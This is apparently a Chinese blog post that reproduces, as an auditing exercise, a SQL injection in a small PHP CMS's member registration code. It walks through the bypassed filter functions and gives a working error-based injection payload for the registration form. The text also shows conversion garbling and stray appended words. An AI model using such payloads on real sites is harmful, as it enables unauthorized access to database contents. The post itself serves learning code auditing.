最近開始學習審計,拿一些簡單cms的漏洞復現一下。源碼在文末會分享出來。php
<?php if(!file_exists("data/config.inc.php")){header("location:install/index.php");exit();} require dirname(__FILE__).'/system/common.inc.php'; ?>
判斷是否安裝了該程序。接下來跟蹤 "/system/common.inc.php"看一下。html
/system/common.inc.php中定義了一些常量,且包含了兩個文件。mysql
include(DATA_PATH."config.inc.php"); include(FUN_PATH."fun.inc.php");
接下來看一下這兩個文件。web
/config.inc.php 中定義了鏈接數據庫所須要的常量。這裏就不貼出來了。sql
主要來看fun.inc.php這個文件,通常的web應用程序都會將函數打包在一個文件裏,也就是這裏的fun.inc.php數據庫
這裏包含了大部分用到的函數,由於是復現,因此咱們只須要注意waf函數就好了。安全
function safe_replace($string) { $string = str_replace('%20','',$string); $string = str_replace('%27','',$string); $string = str_replace('%2527','',$string); $string = str_replace('*','',$string); $string = str_replace('"','"',$string); $string = str_replace("'",'',$string); $string = str_replace('"','',$string); $string = str_replace(';','',$string); $string = str_replace('<','<',$string); $string = str_replace('>','>',$string); $string = str_replace("{",'',$string); $string = str_replace('}','',$string); $string = str_replace('\\','',$string); return $string; }
function safe_html($str){ if(empty($str)){return;} if (preg_match('/\b select\b |\b insert\b | \b update\b | \b and\b | \b in\b | \b on\b | \b left\b |\b joins\b | \b delete\b |\%|\=|\/\*|\*| \b union\b |\.\.\/|\.\/| \b from\b | \b where\b | \b group\b | \binto\b |\bload_file\b |\boutfile\b/i',$str)){showmsg(C('error'),'-1');} return htmlspecialchars($str, ENT_COMPAT ,'GB2312'); }
這兩段函數基本上把xss sql注入的路堵死了,然而漏洞出如今註冊頁面的附加條件中。因此咱們查看一下member/index.php文件。xss
public function register_save(){ $username=safe_html($_POST['username']); $password=$_POST['password']; $password2=$_POST['password2']; $fields=$_POST['fields']; if(empty($username)||empty($password2)||empty($password)){ showmsg(C('material_not_complete'),'-1'); } if(!strlength($username,5)){ showmsg(C('username').C('str_len_error').'5','-1'); } if(!strlength($password,5)){ showmsg(C('password').C('str_len_error').'5','-1'); } if($password!=$password2){ showmsg(C('password_different'),'-1'); } $password=md5(md5($password)); $user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'"); if($user_num>0){ showmsg(C('member_exist'),'-1'); } $ip=safe_replace(safe_html(getip())); $this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'"); $last_id=$this->mysql->insert_id(); $field_sql=''; foreach($fields as $k=>$v){ $f_value=$v; if(is_array($v)){ $f_value=implode(',',$v); } $field_sql.=",`{$k}`='{$f_value}'"; } $field_sql=substr($field_sql,1);//將","去掉,剩餘的插入SQL語句。 $field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}"; $query=$this->mysql->query($field_sql); showmsg(C('register_success'),'index.php?m=member&f=register'); }
這是用戶註冊的函數片斷,經過閱讀代碼發現傳入的$fields值並沒用通過waf函數過濾,繼續往下看代碼,發現該變量直接被帶入sql語句。並利用query()函數來執行SQL語句,跟蹤query()函數。函數
function query($sql){ if(!$res=@mysql_query($sql,$this->ConnStr)){ echo '操做數據庫失敗'.mysql_error()."<br>sql:{$sql}"; } return $res; }
發現該函數調用了mysql_error()函數返回錯誤信息,因此這裏咱們能夠利用mysql報錯注入來獲取數據庫信息。這裏只用一種payload進行演示。學習
首先進入註冊頁面
注入點在下面的姓名和安全郵箱兩個附加信息處,選一個便可,填入如下信息:
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
點擊註冊,獲得報錯回顯信息。
漏洞成功復現,是一個很簡單的漏洞復現過程,做爲學習審計的開始,在此記錄一下。
源碼下載地址:連接:https://pan.baidu.com/s/13kUSWEao1_-_RK2X_Dk1UA 密碼:4g6d